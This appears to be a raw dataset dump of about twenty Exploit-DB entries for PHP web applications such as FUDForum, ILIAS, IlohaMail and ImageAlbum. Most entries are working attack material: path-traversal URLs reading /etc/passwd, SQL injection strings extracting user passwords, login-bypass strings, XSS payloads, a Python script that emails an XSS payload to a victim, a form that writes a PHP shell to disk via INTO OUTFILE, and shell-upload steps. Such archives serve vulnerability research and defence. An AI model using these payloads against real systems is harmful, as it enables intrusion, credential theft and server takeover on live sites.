deardaniel/secdata-raw huggingface dataset:
Exploit-DB #21723
Description: Ilia Alshanetsky FUDForum 1.2.8/1.9.8/2.0.2 - File Disclosure
Type: webapps
Platform: php
Date: 2002-08-19
Author: Ulf Harnhammar

Exploit:
source: https://www.securityfocus.com/bid/5501/info

Reportedly, FUDForum may disclose contents of arbitrary files to attackers. The vulnerability is the result of FUDForum failing to check the path of the file that is being requested. By simply making malicious requests via URI parameters, an attacker is able to obtain access to potentially sensitive files.

http://victimhost.com/tmp_view.php?file=/etc/passwd
http://victimhost.com/admbrowse.php?down=1&cur=%2Fetc%2F&dest=passwd&rid=1&S=[someid]
Exploit-DB #21724
Description: Ilia Alshanetsky FUDForum 1.2.8/1.9.8/2.0.2 - File Modification
Type: webapps
Platform: php
Date: 2002-08-19
Author: Ulf Harnhammar

Exploit:
source: https://www.securityfocus.com/bid/5502/info

Reportedly, it is possible for an administrator to manipulate (create, modify etc.) files outside of the FUDForum directories. This vulnerability is present in the 'adm/admbrowse.php' script. The vulnerability is the result of FUDForum allowing access to files and directories outside of FUDForum directories.

http://victim.com/admbrowse.php?down=1&cur=%2Fetc%2F&dest=passwd&rid=1&S=[someid]
Exploit-DB #7570
Description: ILIAS 3.7.4 - 'ref_id' Blind SQL Injection
Type: webapps
Platform: php
Date: 2008-12-24
Author: Lidloses_Auge

Exploit:
###############################################################
#
#      ILIAS Learning Management <= 3.7.4 - SQL Injection Vulnerability     
#                                                             
#      Vulnerability discovered by: Lidloses_Auge             
#      Greetz to:                   -=Player=- , Suicide, g4ms3, enco,
#                                   Palme, GPM, karamble, Free-Hack
#      Date:                        24.12.2008
#
###############################################################
#                                                             
#      Developer: http://www.ilias.de
#      Dork 1: "powered by ILIAS"
#      Dork 2: inurl:repository.php ilias
#      Description: The GET Parameter "ref_id" in "repository.php"
#		    contains a Blind SQL Injection Vulnerability
#
#      Usertable:         usr_data
#      Important columns: usr_id, login, passwd
#
#      Example:
#      http://www.site.com/repository.php?cmd=frameset&ref_id=1+and+ascii(substring((select+passwd+from+usr_data+limit+0,1),1,1))>50--
#                                                             
###############################################################

# milw0rm.com [2008-12-24]
Exploit-DB #43595
Description: ILIAS < 5.2.4 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2018-01-15
Author: Florian Kunushevci

Exploit:
# Exploit Title: Cross Site Scripting in ILIAS CMS 5.2.3
# Date: Apr 24, 2017
# Software Link: https://www.ilias.de
# Exploit Author: Florian Kunushevci
# Contact: https://facebook.com/florianx00
# CVE: CVE-2018-5688
# Category: webapps

1. Description

ILIAS before 5.2.4 has XSS via the cmd parameter to the displayHeader
function in setup/classes/class.ilSetupGUI.php in the Setup component.

2. Proof of Concept

Location : /setup/setup.php
Parameter : ?cmd=
Payload : "><script>alert(1)</script>

3. Solution:

https://www.ilias.de/docu/goto.php?target=lm_1719&client_id=docu

4. References:

https://nvd.nist.gov/vuln/detail/CVE-2018-5688
https://www.ilias.de/docu/goto_docu_pg_75029_35.html
Exploit-DB #14202
Description: iLister Listing Software - Local File Inclusion
Type: webapps
Platform: php
Date: 2010-07-04
Author: Sid3^effects

Exploit:
1               ##########################################             1
0               I'm Sid3^effects member from Inj3ct0r Team             1
1               ##########################################             0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

Name :    iLister listing script LFi Vulnerability
Date : july 4,2010
Critical Level 	: HIGH
vendor URL :http://www.worksforweb.com/
Author : Sid3^effects aKa HaRi <shell_c99[at]yahoo.com>
special thanks to : r0073r (inj3ct0r.com),L0rd CruSad3r,MaYur,MA1201,KeDar,Sonic,gunslinger_
greetz to :www.topsecure.net ,All ICW members and my friends :) luv y0 guyz 
#######################################################################################################
Description:
iLister listing script is an extremely powerful and flexible multi-language classifieds software. iLister listing script is your best choice in creating a SEO-friendly classifieds ads website for your visitors to sell anything, from cars to houses, to watches, to pets, to software scripts, or to works of art. If you need a powerful business directory script, iLister is the best choice to build a popular business directory. 
#######################################################################################################
Xploit : LFi Vulnerability

http://server/search_results/?action=[LFI]

###############################################################################################################
# 0day no more 
# Sid3^effects
Exploit-DB #10389
Description: Illogator Shop - SQL Injection Bypass
Type: webapps
Platform: php
Date: 2009-12-11
Author: bi0

Exploit:
# Title: Illogator Shop SQL Injection Bypass
# Date: 11/12/2009
# Author: bi0
# CVE : ()
                ______     __     ______
               /\  == \   /\ \   /\  __ \
               \ \  __<   \ \ \  \ \ \/\ \
                \ \_____\  \ \_\  \ \_____\
                 \/_____/   \/_/   \/_____/


[#]----------------------------------------------------------------[#]
#
# [x] Illogator Shop SQL Injection Bypass
# [x] Author : bi0
# [x] Contact : bukibv@hotmail.com
#
[#]----------------------------------------------------------------[#]
#
# [x] Exploit :
#
#    http://example.com/index.php?section=login
#
#    user : 1'or'1'='1
#    pass : 1'or'1'='1
#
[#]----------------------------------------------------------------[#]

#EOF
Exploit-DB #20627
Description: IlohaMail Webmail - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2012-08-18
Author: Shai rod

Exploit:
#!/usr/bin/python

'''
# Exploit Title: IlohaMail Webmail Stored XSS.
# Date: 18/08/2012
# Exploit Author: Shai rod (@NightRang3r)
# Vendor Homepage: http://sourceforge.net/projects/ilohamail/
# Software Link: http://sourceforge.net/projects/ilohamail/files/IlohaMail-devel/0.9-20050415/
# Version: 0.9-20050415

#Gr33Tz: @aviadgolan , @benhayak, @nirgoldshlager, @roni_bachar


About the Application:
======================

IlohaMail is a PHP based lightweight full featured multilingual webmail program with IMAP and POP3 support. 
IlohaMail also includes a full-featured contacts manager, bookmarks manager, and scheduler.


Vulnerability Description
=========================

1. Stored XSS in e-mail body.

XSS Payload: <a href=javascript:alert("XSS")>POC MAIL</a>

Send an email to the victim with the payload in the email body, Once the user clicks on the url the XSS should be triggered.


2. Stored XSS in Bookmarks.

XSS Payload: <a href=javascript:alert("XSS")>

Vulnerable Fields: Name, Category, URL, RSS/RDF, Comments

Add a new bookmark with the XSS payload in the above fields, XSS Should be triggered.


'''

import smtplib

print "###############################################"
print "#          IlohaMail Stored XSS POC           #"
print "#             Coded by: Shai rod              #"
print "#               @NightRang3r                  #"
print "#           http://exploit.co.il              #"
print "#       For Educational Purposes Only!        #"
print "###############################################\r\n"

# SETTINGS

sender = "attacker@localhost"
smtp_login = sender
smtp_[CREDENTIAL_REDACTED]"
recipient = "victim@localhost"
smtp_server  = "192.168.1.10"
smtp_port = 25
subject = "IlohaMail Webmail XSS POC"


# SEND E-MAIL

print "[*] Sending E-mail to " + recipient + "..."
msg = ("From: %s\r\nTo: %s\r\nSubject: %s\n"
       % (sender, ", ".join(recipient), subject) )
msg += "Content-type: text/html\n\n"
msg += """<a href=javascript:alert("XSS")>Click Me, Please...</a>\r\n"""
server = smtplib.SMTP(smtp_server, smtp_port)
server.ehlo()
server.starttls()
server.login(smtp_login, smtp_password)
server.sendmail(sender, recipient, msg)
server.quit()
print "[+] E-mail sent!"
Exploit-DB #39267
Description: Ilya Birman E2 - '/@actions/comment-process' SQL Injection
Type: webapps
Platform: php
Date: 2014-07-23
Author: High-Tech Bridge

Exploit:
source: https://www.securityfocus.com/bid/68843/info

Ilya Birman E2 is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker can exploit this issue to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

E2 v2844 is vulnerable; other versions may also be affected. 

<form action="http://www.example.com/@actions/comment-process" method="post" name="main">
<input type="hidden" name="already-subscribed" value="">
<input type="hidden" name="comment-id" value="new">
<input type="hidden" name="elton-john" value="1">
<input type="hidden" name="email" value="mail@mail.com">
<input type="hidden" name="from" value="">
<input type="hidden" name="name" value="name">
<input type="hidden" name="subscribe" value="on">
<input type="hidden" name="text" value="1">
<input type="hidden" name="note-id" value="' UNION SELECT '<? phpinfo(); ?>',2,3,4,5,1,7,8,9,10,11,12,13,14,15 INTO OUTFILE '/var/www/file.php' -- 2">
<input type="submit" id="btn">
</form>
Exploit-DB #41120
Description: Image and Video Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-19
Author: Ihsan Sencan

Exploit:
# # # # # 
# Vulnerability: SQL Injection
# Date: 19.01.2017
# Vendor Homepage: http://www.scriptfolder.com/
# Script Name: Image and Video Script 
# Script Buy Now: http://www.scriptfolder.com/funzone-image-and-video-script/
# Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/search.php?term=[SQL]
# E.t.c.... 
# # # # #
Exploit-DB #10700
Description: Image File Upload - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : Image file upload Upload Shell Vulnerability                            |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # Web Site : www.iq-ty.com                                                           |
| # Script   : Image file upload by Bloody (http://www.bloodys.com/)!talian script     |
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       |
| # Bug      : Upload Shell                                                            | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1-http://server/script_3515/Imagefileupload.php
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #11110
Description: Image Hosting Script - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-01-11
Author: R3d-D3V!L

Exploit:
[?] ?????????????????????????{In The Name Of Allah The Mercifull}??????????????????????
[?]
[~] Tybe: Suffering From Remote shell upload Vulnerability
[?]
[~] Vendor: www.x10media.com
[?]
[?] Software : Image Hosting Script
[?]
[-]
[?]
[-] author: ((R3d-D3v!L))
[?] TEAM: ArAB!AN !NFORMAT!ON SeCuR!TY
[?] contact: N/A
[-]
[?]Date: 1. Jan. 2010
[?] T!ME: 04:30 am GMT
[?] Home: WwW.xP10.ME

[-]??????????????????????{DEV!L'5 of SYST3M}??????????????????

7h!5 !S AL3rT FROM ((R3d-D3V!L)) :

[+] n07h!ng 53cur3 ......


[*] upload from :

http://74rG37_H057/create_image_gallery.php

dir it from
graphic/2010/January/10/

what after graphic up to your uploading date

N073:

REAL RED DEV!L W@S h3r3 LAMERZ



[~]-----------------------------{((SHAD0W))}---------------------------------------


[~] Greetz tO: dolly & L!TTLE 547r & 0r45hy & DEV!L_MODY & po!S!ON Sc0rp!0N & mAG0ush_1987

[~]70 ALL ARAB!AN HACKER 3X3PT : LAM3RZ

[~] spechial thanks : ab0 mohammed & XP_10 h4CK3R & JASM!N & c0prA & MARWA & N0RHAN & S4R4

[?]spechial SupP0RT: MY M!ND ;) & dookie2000ca &((OFFsec))

[?]4r48!4n.!nforma7!0N.53cur!7y ---> ((r3d D3v!L<--M2Z--->JUPA<---aNd--->Devil ro0t))

[~]spechial FR!ND: 74M3M

[~] !'M 4R48!4N 3XPL0!73R.

[~]{[(D!R 4ll 0R D!E)]};

[~]---------------------------------------------------------------------------------------------
Exploit-DB #41080
Description: Image Sharing Script 4.13 - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2017-01-16
Author: Hasan Emre Ozer

Exploit:
Exploit Title : Image Sharing Script v4.13 - Multiple Vulnerability
Author : Hasan Emre Ozer
Google Dork :    -
Date : 16/01/2017
Type : webapps
Platform: PHP
Vendor Homepage : http://itechscripts.com/image-sharing-script/
Sofware Price and Demo : $1250
http://photo-sharing.itechscripts.com/

--------------------------------
Type: Reflected XSS
Vulnerable URL: http://localhost/[PATH]/searchpin.php
Vulnerable Parameters : q=
Payload:"><img src=i onerror=prompt(1)>
-------------------------------
Type: Error Based Sql Injection
Vulnerable URL:http://localhost/[PATH]/list_temp_photo_pin_upload.php
Vulnerable Parameters: pid
Method: GET
Payload: ' AND (SELECT 2674 FROM(SELECT
COUNT(*),CONCAT(0x717a717671,(SELECT
(ELT(2674=2674,1))),0x717a6a6b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'xvtH'='xvtH
-------------------------------
Type: Error Based Sql Injection
Vulnerable URL:http://localhost/[PATH]/categorypage.php
Vulnerable Parameters: token
Method: GET
Payload: ' AND (SELECT 2674 FROM(SELECT
COUNT(*),CONCAT(0x717a717671,(SELECT
(ELT(2674=2674,1))),0x717a6a6b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'xvtH'='xvtH

--------------------------------
Type: Reflected XSS
Vulnerable URL: http://localhost/[PATH]/categorypage.php
Vulnerable Parameters : token
Payload:"><img src=i onerror=prompt(1)>

-------------------------------
Type: Stored XSS
Vulnerable URL: http://localhost/[PATH]/ajax-files/postComment.php
Method: POST
Vulnerable Parameters : &text=
Payload:<img src=i onerror=prompt(1)>
--------------------------------
Type: Error Based Sql Injection
Vulnerable URL:http://localhost/[PATH]/ajax-files/postComment.php
Vulnerable Parameters: id
Method: POST
Payload:' AND (SELECT 2674 FROM(SELECT COUNT(*),CONCAT(0x717a717671,(SELECT
(ELT(2674=2674,1))),0x717a6a6b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'xvtH'='xvtH
---------------------------------
Type: Error Based Sql Injection
Vulnerable URL:http://localhost/[PATH]//ajax-files/followBoard.php
Vulnerable Parameters: brdId
Method: POST
Payload:' AND (SELECT 2674 FROM(SELECT COUNT(*),CONCAT(0x717a717671,(SELECT
(ELT(2674=2674,1))),0x717a6a6b71,FLOOR(RAND(0)*2))x FROM
INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'xvtH'='xvtH
Exploit-DB #13782
Description: Image Store - Arbitrary File Upload
Type: webapps
Platform: php
Date: 2010-06-08
Author: Mr.FireStormm

Exploit:
============================================= ===================================
============================================= ======
                 Image Store Remote file Upload Vulnerability
============================================= ===================================
============================================= ======



############################################# ###################################
############################################# #######

# Name: Image Store V 1.0

# Date: 09-06-2010

# vendor: http://www.scriptidea.net/imagestore/

# Price: $199.00

# Discovered By: Mr.FireStormm

# Contact : Fire_stormm2003@hotmail.com

# MY Team : TeaM HacKer Egypt

# MY Web  : http://gaza-hacker.com/cc/
############################################# ###################################
############################################# ######


Hello every one 

STEP 1 :  upload shell.php

STEP 2 : useing live http headers and change (Content-Type) form Content-Type: application/octet-stream to

Content-Type: image/jpeg

ur shell uploded now http://www.site.com/imagestore/images/06-08-2010_shell.php

            Example 

http://www.scriptidea.net/imagestore/



Special Thanks To My Best FriendS : Dr.SiLnT HilL ,,,, Mr.Alsaeek 

############################################# ###################################
############################################# ######
Exploit-DB #9639
Description: Image voting 1.0 - 'index.php?show' SQL Injection
Type: webapps
Platform: php
Date: 2009-09-11
Author: SkuLL-HackeR

Exploit:
###############################################################
# Image voting 1.0 Remote Sql injection
# AuTh0r : SKuLL-HacKeR
# H0ME   : WwW.Sec-Best.com & Saudihack.com & S3curity-Art.CoM
# Email  : My@Hotmail.iT
###############################################################
 
download script : http://www.plohni.com/wb/content/static/Download.php?file=../php/download/Image_voting_1-0.zip

exploit :

http://www.site.com/Image_voting/index.php?show=-7%20union%20select%201,version(),3,4,5--
http://www.site.com/Image_voting/index.php?show=-7%20union%20select%201,user(),3,4,5--
http://www.site.com/Image_voting/index.php?show=-7%20union%20select%201,load_file(hex directory/config.php),3,4,5--
demo :
http://www.plohni.com/wb/content/php/demos/Image_voting/index.php?show=-7%20union%20select%201,version(),3,4,5--

# milw0rm.com [2009-09-11]
Exploit-DB #4895
Description: ImageAlbum 2.0.0b2 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2008-01-11
Author: Raw Security

Exploit:
ImageAlbum Remote SQL Injection Vulnerabilities
-------------------------------------------------------------------------

Product: ImageAlbum
Version: Latest 2.0.0b2, others not tested
Vendor:  http://imagealbum.sourceforge.net/
Date:     01/10/08

- Introduction

ImageAlbum is a web application written in PHP for displaying and editing
picture collections.  It features user accounts and picture comments.

- Details

Multiple SQL injection vulnerabilities exist, that can result in user
credentials being compromised or the modification of the database.

In classes/IADomain.php
$sql = "SELECT * FROM `iaimage`
WHERE `id` = $id AND `domain_id` = $this->id LIMIT 1";

In classes/IACollection.php
$sql = "SELECT * FROM `iacollection` WHERE `id` = $this->id";

In classes/IAUser.php
$sql = "SELECT * FROM `iauser` WHERE `id` = $this->id";

Other SQL statements in the application are also vulnerable.

- Proof of Concept

The following example exploits the image viewer page by placing the password
of a user into the src attribute of the img tag instead of the correct path
to the image.  User passwords are stored in plain-text.

http://[site]/index.php/[domain]/?action=collection.imageview&id=643635 union all select iaimage.id, iaimage.name, description, iaimage.collection_id, iaimage.domain_id, password As path, access, visits, checked FROM iaimage, iauser WHERE iaimage.id=411 /*

Note, 643635 is an invalid image id and 411 is a known valid image id.

- Solution

Edit the source code to insure that all user input is properly sanitised.

Cheers,
dB <dB [at] rawsecurity ! org>

# milw0rm.com [2008-01-11]
Exploit-DB #42441
Description: ImageBay 1.0 - SQL Injection
Type: webapps
Platform: php
Date: 2017-08-10
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: ImageBay 1.0 - SQL Injection
# Dork: N/A
# Date: 10.08.2017
# Vendor Homepage : http://www.scriptfolder.com/
# Software Link: http://www.scriptfolder.com/imagebay-publish-or-share-photography-and-pictures/
# Demo: http://imagebay.scriptfolder.com/
# Version: 1.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
# http://localhost/[PATH]/picture.php?pid=[SQL]
# -22++/*!11111union*/+/*!11111select*/+/*!11111concat*/(username,0x3a,password),0x32,0x33,0x34,0x35,0x36,0x37,0x38,0x39,0x3130,0x3131,0x3132,0x3133,0x3134,0x3135,0x3136,0x3137,0x3138,0x3139,0x3230,0x3231,0x3232+from+users--+-
# http://localhost/[PATH]/updaterate.php?id=[SQL]
# Etc...
# # # # #
Exploit-DB #41816
Description: ImagePro Lazygirls Clone Script - SQL Injection
Type: webapps
Platform: php
Date: 2017-04-05
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: ImagePro Lazygirls Clone Script - SQL Injection
# Google Dork: N/A
# Date: 05.04.2017
# Vendor Homepage: http://bimedia.info/
# Software: http://bimedia.info/8-2/
# Demo: http://imagepro.clonedemo.com/
# Version: N/A
# Tested on: Win7 x64, Kali Linux x64
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[@]ihsan[.]net
# #ihsansencan
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/index.php?page=31&imageID=[SQL]
# http://localhost/[PATH]/index.php?page=53&pg_id=[SQL]
# tc_membergroups:id
# tc_membergroups:group_name
# tc_membergroups:admin
# tc_members:id
# tc_members:group_id
# tc_members:username
# tc_members:password
# tc_members:email
# tc_members:join_date
# # # # #
Exploit-DB #39058
Description: Imageview - 'upload.php' Arbitrary File Upload
Type: webapps
Platform: php
Date: 2014-01-21
Author: TUNISIAN CYBER

Exploit:
source: https://www.securityfocus.com/bid/65059/info

Imageview is prone to a vulnerability that lets attackers upload arbitrary files. The issue occurs because the application fails to adequately sanitize user-supplied input.

An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.

Imageview 6.x are vulnerable; other versions may also be affected. 

http://www.example.com/photos/upload.php
http://www.example.com/Galerie/upload.php
Exploit-DB #3817
Description: Imageview 5.3 - 'fileview.php?album' Local File Inclusion
Type: webapps
Platform: php
Date: 2007-04-29
Author: DNX

Exploit:
                            \#'#/
                            (-.-)
   --------------------oOO---(_)---OOo-------------------
   | Imageview v5.3 (fileview.php) Local File Inclusion |
   |      (works only with magic_quotes_gpc = off)      |
   |                    coded by DNX                    |
   ------------------------------------------------------
[!] Discovered: DNX
[!] Vendor: www.blackdot.be/?inc=projects/imageview
[!] Detected: 21.04.2007
[!] Reported: 21.04.2007
[!] Remote: yes

[!] Background: Imageview is an image gallery script based on PHP

[!] Bug: $_GET['album'] in fileview.php line 4

         require('albums/'.$_GET['album'].'/data.dat');

[!] PoC:
    - http://[site]/[path]/fileview.php?album=[file]%00
    - http://[site]/[path]/fileview.php?album=../../../../../../etc/passwd%00

[!] Solution: Install Imageview 6 or magic_quotes_gpc = on

# milw0rm.com [2007-04-29]